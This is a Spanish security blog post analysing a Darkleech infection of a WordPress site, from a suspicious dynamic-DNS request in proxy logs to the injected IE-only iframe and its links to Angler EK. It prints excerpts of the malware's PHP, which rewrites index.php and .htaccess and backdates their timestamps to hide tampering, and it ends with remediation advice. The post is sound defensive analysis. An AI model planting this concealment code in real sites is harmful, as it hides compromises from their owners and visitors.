Cita a ciegas con Darkleech


al0(Los dominios y nombres de usuario que se describen en este post son ficticios, con el fin de proteger la identidad de los reales)

Una de las tareas habituales a la hora de buscar posibles infecciones es analizar el trafico de navegación web (proxy) en busca de contactos con dominios de carácter dinámico (dyndns, no-ip.org, etc…).

En una de estas búsquedas se ve el contacto con un dominio dinámico sospechoso desde la página www.hospitales.com:

2015-08-09 10:53:40 191.226.176.112 Pgarcia - "none" http://www.hospitaless.com/en/index.php  0 - GET http yyuewv.hopto.org 80 /wordpress/ 633 409

El dominio está inactivo, pero queremos analizar las peticiones que se hacen al visitar esta web. Para ello, uso un analizador como Burp:

al1

Se busca la cadena “hopto.org” en el código fuente del portal y se analizan las peticiones HTTP  que se hacen desde la web, pero no vemos nada extraño. Ocurre lo mismo al abrir la web desde un navegador (Google Chrome) en una máquina virtual y visualizar su código fuente. Es curioso, porque la petición es reciente y en el código fuente de la  web no se aprecia ninguna referencia a un dominio dinámico.

Para poder emular otros User Agent se instala en el navegador una extensión llamada Chrome UA SpooferAl cambiar el User Agent a Internet Explorer 8 (IE8) en el navegador es cuando aparece el enlace malicioso y esta vez es diferente:

al2

Al actualizar la página (F5) desaparece pero al intentar volver a acceder con otra dirección IP y habiendo limpiado la caché del navegador previamente, aparece un nuevo enlace de carácter dinámico sospechoso, y vuelve a ser diferente:

al3

Este nuevo dominio es bloqueado por Google Chrome al intentar acceder por su peligrosidad:

al4

Se intenta descargar el recurso mediante Wget emulando el User Agent como Internet Explorer pero no existe el recurso:

al5

Al intentar navegar desde una maquina virtual con Internet Explorer y usando Wireshark para capturar el tráfico se obtiene como respuesta 404:

al6

El código fuente  de la Web cuando se visita con un User Agent distinto a Internet Explorer es este:

al7

Y este es el código cuando se visita con Internet Explorer:

al8

En el código fuente se observa “position:absolute;top:-771px”, que siempre asocia posiciones aleatorias negativas absolutas y “<meta http-equiv=’x-ua-compatible’ content= ’IE=EmulateIE9’” consiguiendo que la página se muestre como si tuviéramos Internet Explorer 9, a pesar de visitar la URL emulando Internet Explorer 8.

Más peligroso es el caso en el que un navegador está actualizado y se fuerza a trabajar como si fuera Internet Explorer 9, confiando en que al estar actualizado no va a ser vulnerable. El funcionamiento detallado de esta clausula se detalla en este enlace. Esto se hace por ejemplo para explotar la vulnerabilidad CVE-2014-1776 en navegadores Internet Explorer.

Las pautas de comportamiento vistas hasta ahora  están asociadas con un tipo de infección llamada Darkleech, donde el iframe  visto antes  es generado de forma aleatoria e insertado en el código en tiempo de ejecución. Una vez insertado el iframe se activa una cuenta atrás en la que minutos después el dominio es desactivado.

En el caso de usarse WordPress  como CMS, el código se suele introducir en wp-includes/NAV-menu.php, y normalmente se suele comprometer un plugin llamado RevSlider (revolution slider)

También se ha visto que Darkleech es capaz de modificar módulos de Apache para interactuar desde la raíz del servidor. En el año 2013 este malware atacaba principalmente a sitios wordpress, pero en  las últimas variantes se han visto afectadas hasta webs con HTML estático. Darkleech recopila una lista negra de direcciones IP, para que el Iframe no sea generado dos veces por la misma dirección IP. Además  modifica las coockies para que se recuerde un acceso anterior.

Con la extensión para Google Chrome EditThisCoockie se puede editar la cookie concreta, para evitarlo:

al9

(Se cambia el valor de -1 a 1)

En todos los casos donde se ha cambiado la dirección IP (gracias a TOR) y se han evadido las cookies se generaba un iframe con un patrón fácilmente reconocible: “wordpress/?bf7N&utm_source=le”. 

Una simple búsqueda en nerdydata.com arroja 64 resultados distintos:

al10

Solo queda sacar un rato para investigar y dar con una web en la que el enlace de redirección generado esté activo, e investigar que tipo de exploit usa (Angler, EK Fiesta EK etc…) y que regalito nos descarga.

Una vez que se genera el iframe  y se activa uno de los dominios, se intenta averiguar a que dirección IP apunta:

ping nuztsywrf.ddnsking.com
PING nuztsywrf.ddnsking.com (185.63.189.115) 56(84) bytes of data.

La búsqueda de información relativa a la dirección IP 185.63.189.115 en el último mes  da como resultado un análisis interesante de un ramsonware alphacrypt que se puede leer en el siguiente enlace, asociado a un exploit kit angler EK. En el Pcap que se puede descargar del mismo enlace se ve como la petición en este caso da  como respuesta un 200 OK:

al11

Viéndose más tarde el Angler EK asociado:

al12

Un código usado por Darkleech (menos actualizado) completo se puede ver en el siguiente enlace. A continuación vamos a analizar por encima el código para entender un poco la forma de actuar de este tipo de código malicioso, que seguramente sea parecido al pseudo-darkleech encontrado antes.

Básicamente se busca la modificación de wp-includes/NAV-menu.php incluyendo dentro el código del enlace. Hay que tener en cuenta que en las soluciones para descubrir una infección por Darkleech se propone en la mayoría de las ocasiones diferenciar si un archivo ha sido modificado, pero hay parte del código que se encarga de enmascarar estos cambios.

La primera función recorre los ficheros wp-*.php (los de la instalación de WordPress):

function my_time($dir) {
     foreach (glob($dir . '/wp-*.php') as $f) {
         $times[] = filemtime($f);
     }
     $max = 1;
     for ($i = 0; $i < count($times) - 1; $i++) {
         $k = 1;
         for ($j = $i + 1; $j < count($times); $j++) {
             if ($times[$i] == $times[$j]) {
                 $k++;
                 if ($k > $max) {
                     $max = $k;
                     $time = $times[$i];
                 }
             }
         }
     }
     return $time;
}

Una vez almacena la fecha de la instalación de WordPress, en la variable time, añade esa fecha a index.php, cambia los permisos a solo lectura y añade en su interior el contenido en base64:

function my_correct($dir) {
     $time = 0;
     $path = $dir . '/index.php';
     $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
     if (file_get_contents($path) != $content) {
         chmod($path, 0644);
         file_put_contents($path, $content);
         chmod($path, 0444);
         $time = my_time($dir);
         touch($path, $time);
     }

En index.php cambia

include( dirname( __FILE__ ) . '/wp-blog-header.php' );

por

require( dirname( __FILE__ ) . '/wp-blog-header.php' );

El fichero .htaccess lo modifica también, cambiando la fecha por la mas antigua, dejándolo como de solo lectura y añadiendo dentro el código en base64:

$path = $dir . '/.htaccess';
           $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
           if (file_exists($path) AND file_get_contents($path) != $content) {
               chmod($path, 0644);
               file_put_contents($path, $content);
               chmod($path, 0444);
               if (!$time) {
                   $time = my_time($dir);
               }
              touch($path, $time);
          }
       }
       my_correct(dirname(__FILE__) . '/..');

Incluyendo dentro:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Con esta condición se asegura de que siempre redireccione a index.php, aunque en la URL se pida otra ruta.

El siguiente paso es analizar la URL del sitio. Gracias a la función addaction de wordpress se ejecuta un hook, en este caso gracias a wp_footer añade código almacenado en un buffer al footer de la pagina (parte inferior), donde de una web legítima conocida extrae los 100 primeros caracteres (http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css).

Antes de añadirse  se usa un código tipo MD5 (3e2b7254489da058817288025e2147e9), de tal forma que para permitir el acceso a diversas acciones  se haga de la forma http://[URL]?check=Codigo y una vez coincida se añade al footer. Los 100 caracteres.

Esto previsiblemente se hace para chequear de alguna forma si la web realmente ha sido comprometida.

Además cada vez que se recibe una petición HTTP al servidor analiza si la petición se realiza con una dirección IP de Google (74.125) o si es un  bot de Yahoo, Ask, Bing etc… para que no actúe de forma maliciosa. Lo mismo ocurre cuando analiza la cookie del usuario que visita la web y reconoce que ya ha sido visitada.

En caso de que no se cumplan las condiciones anteriores es ya cuando busca la sección body para añadir la url maliciosa. Para ello se hace un request a la URL y se ejecuta una expresión regular sobre el código que devuelve, además de crear la cookie para evitar que se genere dos veces en la misma visita.

Soluciones:

En caso de usar un CMS, hay que tenerlo actualizado al día. En caso de ser WordPress asegurarse de actualizar el plugin RevSlider en el siguiente enlace. Este tipo de malware suele crear una cuenta de administrador, por tanto una buena práctica es averiguar si las cuentas existentes son las que debieran.

Siempre se puede analizar navegado a  través de nuestra web (sin estar logeados ya que detecta cuando el administrador  está logeado y no explota), y analizar las trazas HTTP con wireshark (acordarse de usar User Agent IE).

Buscar ficheros PHP modificados recientemente (no vale con buscar con ls las ultimas modificaciones), como hemos visto antes lo mejor es hacer un diff con un backup de los ficheros que tengamos antes o directamente revisar .htaccess o NAV-menu.php.

Hay dos  plugin para wordpress muy interesantes que pueden evitar la infección:

Referencias: